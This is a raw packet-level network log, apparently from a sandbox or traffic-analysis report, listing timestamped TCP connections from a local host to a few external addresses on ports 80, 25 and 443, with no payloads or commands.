Jan 14, 2022 21:05:17.018842936 CET	80	49808	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.018973112 CET	49808	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.019114971 CET	49808	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.019418955 CET	49808	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.036463022 CET	80	49808	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.036606073 CET	80	49808	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.141648054 CET	80	49808	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.141943932 CET	49808	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.141987085 CET	49808	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.160273075 CET	80	49808	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.480693102 CET	49809	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.498509884 CET	80	49809	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.498759985 CET	49809	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.498914957 CET	49809	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.500055075 CET	49809	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.516746998 CET	80	49809	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.517503977 CET	80	49809	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.625642061 CET	80	49809	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.625684023 CET	80	49809	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.625766039 CET	49809	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.625982046 CET	49809	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:17.634509087 CET	49810	80	192.168.2.5	188.166.28.199
Jan 14, 2022 21:05:17.644675970 CET	80	49809	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:20.756742954 CET	49810	80	192.168.2.5	188.166.28.199
Jan 14, 2022 21:05:26.757298946 CET	49810	80	192.168.2.5	188.166.28.199
Jan 14, 2022 21:05:28.909641981 CET	49821	25	192.168.2.5	40.93.207.0
Jan 14, 2022 21:05:29.014106989 CET	25	49821	40.93.207.0	192.168.2.5
Jan 14, 2022 21:05:29.014218092 CET	49821	25	192.168.2.5	40.93.207.0
Jan 14, 2022 21:05:29.023744106 CET	49821	25	192.168.2.5	40.93.207.0
Jan 14, 2022 21:05:29.119925022 CET	25	49821	40.93.207.0	192.168.2.5
Jan 14, 2022 21:05:29.120012045 CET	49821	25	192.168.2.5	40.93.207.0
Jan 14, 2022 21:05:29.127701044 CET	25	49821	40.93.207.0	192.168.2.5
Jan 14, 2022 21:05:29.127823114 CET	49821	25	192.168.2.5	40.93.207.0
Jan 14, 2022 21:05:29.128160000 CET	25	49821	40.93.207.0	192.168.2.5
Jan 14, 2022 21:05:29.129678965 CET	49821	25	192.168.2.5	40.93.207.0
Jan 14, 2022 21:05:31.856720924 CET	49823	443	192.168.2.5	94.142.143.116
Jan 14, 2022 21:05:31.856765985 CET	443	49823	94.142.143.116	192.168.2.5
Jan 14, 2022 21:05:31.856857061 CET	49823	443	192.168.2.5	94.142.143.116
Jan 14, 2022 21:05:38.808947086 CET	49844	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:38.826241970 CET	80	49844	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:38.826448917 CET	49844	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:38.826550961 CET	49844	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:38.826574087 CET	49844	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:38.843777895 CET	80	49844	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:38.963701010 CET	80	49844	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:38.963722944 CET	80	49844	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:38.963814020 CET	49844	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:38.963831902 CET	49844	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:38.981056929 CET	80	49844	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.261012077 CET	49848	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.278476954 CET	80	49848	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.278568029 CET	49848	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.278661966 CET	49848	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.278676033 CET	49848	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.295694113 CET	80	49848	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.400249958 CET	80	49848	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.400372028 CET	49848	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.400758982 CET	49848	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.417910099 CET	80	49848	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.432645082 CET	49849	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.449796915 CET	80	49849	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.449894905 CET	49849	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.450053930 CET	49849	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.450122118 CET	49849	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.467133045 CET	80	49849	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.467158079 CET	80	49849	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.582017899 CET	80	49849	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.582045078 CET	80	49849	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.582132101 CET	49849	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.582176924 CET	49849	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.599322081 CET	80	49849	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.888303041 CET	49852	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.905611992 CET	80	49852	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:39.905713081 CET	49852	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.905846119 CET	49852	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.905884027 CET	49852	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:39.923175097 CET	80	49852	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.054073095 CET	80	49852	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.054162979 CET	49852	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.054266930 CET	49852	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.071491003 CET	80	49852	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.091785908 CET	49854	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.109215021 CET	80	49854	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.109352112 CET	49854	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.109474897 CET	49854	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.110378981 CET	49854	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.126771927 CET	80	49854	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.127669096 CET	80	49854	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.227117062 CET	80	49854	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.227153063 CET	80	49854	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.227226019 CET	49854	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.227423906 CET	49854	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.244880915 CET	80	49854	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.255647898 CET	49856	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.272979975 CET	80	49856	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.273117065 CET	49856	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.273236990 CET	49856	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.273251057 CET	49856	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.290452957 CET	80	49856	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.395677090 CET	80	49856	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.395777941 CET	49856	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.406141043 CET	49856	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.423388958 CET	80	49856	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.435303926 CET	49858	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.452636957 CET	80	49858	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.452816963 CET	49858	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.452924967 CET	49858	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.452944040 CET	49858	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.470172882 CET	80	49858	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.571611881 CET	80	49858	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.571943045 CET	49858	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.572155952 CET	49858	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.589226961 CET	80	49858	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.614456892 CET	49860	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.631752968 CET	80	49860	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.631863117 CET	49860	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.632036924 CET	49860	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.632086992 CET	49860	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.649326086 CET	80	49860	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.752254009 CET	80	49860	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.752274990 CET	80	49860	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.752351999 CET	49860	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.752604008 CET	49860	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.769929886 CET	80	49860	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.780495882 CET	49861	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.797887087 CET	80	49861	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.797996044 CET	49861	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.798120975 CET	49861	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.798145056 CET	49861	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.815437078 CET	80	49861	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.919433117 CET	80	49861	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.919728041 CET	49861	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.919841051 CET	49861	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.937035084 CET	80	49861	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.950220108 CET	49863	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.967749119 CET	80	49863	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:40.967940092 CET	49863	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.968039036 CET	49863	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.968080044 CET	49863	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:40.985292912 CET	80	49863	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.088692904 CET	80	49863	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.088890076 CET	49863	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.089021921 CET	49863	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.106393099 CET	80	49863	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.116180897 CET	49865	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.133408070 CET	80	49865	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.133507013 CET	49865	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.133682966 CET	49865	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.133701086 CET	49865	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.150783062 CET	80	49865	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.258949995 CET	80	49865	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.259077072 CET	49865	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.259334087 CET	49865	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.276437998 CET	80	49865	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.290510893 CET	49867	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.307964087 CET	80	49867	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.308113098 CET	49867	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.308341980 CET	49867	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.308577061 CET	49867	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.325640917 CET	80	49867	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.325767994 CET	80	49867	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.427953005 CET	80	49867	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.428056955 CET	49867	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.428241014 CET	49867	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.445622921 CET	80	49867	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.468601942 CET	49869	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.485966921 CET	80	49869	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.486109018 CET	49869	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.486216068 CET	49869	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.486224890 CET	49869	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.503460884 CET	80	49869	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.605628014 CET	80	49869	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.605664968 CET	80	49869	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.605746031 CET	49869	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.635905981 CET	49869	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.653243065 CET	80	49869	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.670543909 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.687856913 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.687969923 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.688184023 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.749228954 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791471958 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791531086 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791568995 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791610003 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791616917 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.791649103 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791668892 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.791687965 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791727066 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791765928 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791786909 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.791805983 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.791805983 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.791847944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.794092894 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.809081078 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830519915 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830571890 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830615997 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830615044 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.830653906 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830668926 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.830693960 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830756903 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830795050 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830820084 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.830835104 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830841064 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.830876112 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830914021 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830952883 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830970049 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.830995083 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.830996990 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.831033945 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831073046 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831111908 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831121922 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.831155062 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831170082 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.831196070 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831233978 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831273079 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.831280947 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.831325054 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.848592997 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.848647118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.848685026 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.848720074 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870342016 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870399952 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870440960 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870476007 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870481968 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870522022 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870527983 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870564938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870580912 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870606899 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870645046 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870685101 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870699883 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870723963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870733023 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870762110 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870801926 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870841026 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870855093 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870881081 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870897055 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.870923996 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.870960951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871004105 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871012926 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871043921 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871057987 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871083021 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871123075 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871160984 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871177912 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871201038 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871212006 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871242046 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871280909 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871320963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871337891 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871361017 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871368885 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871400118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871439934 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871479034 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871493101 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871520042 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871529102 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871560097 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871598005 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871637106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871649981 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871676922 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871705055 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871715069 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871754885 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871794939 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871809006 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871836901 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871850967 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.871879101 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871916056 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.871972084 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.889158964 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.889214993 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.889256954 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.889290094 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.889321089 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.889363050 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.909578085 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909636974 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909679890 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909718990 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909744978 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.909759045 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909771919 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.909801006 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909818888 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.909838915 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909900904 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.909912109 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909955025 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.909993887 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910032988 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910034895 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910074949 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910089016 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910113096 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910151958 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910190105 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910209894 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910231113 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910259008 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910271883 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910309076 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910348892 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910371065 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910387039 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910394907 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910427094 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910465956 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910504103 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910517931 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910543919 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910553932 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910584927 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910623074 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910660982 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910676956 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910701990 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910708904 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910739899 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910779953 CET	80	49870	8.209.70.0	192.168.2.5
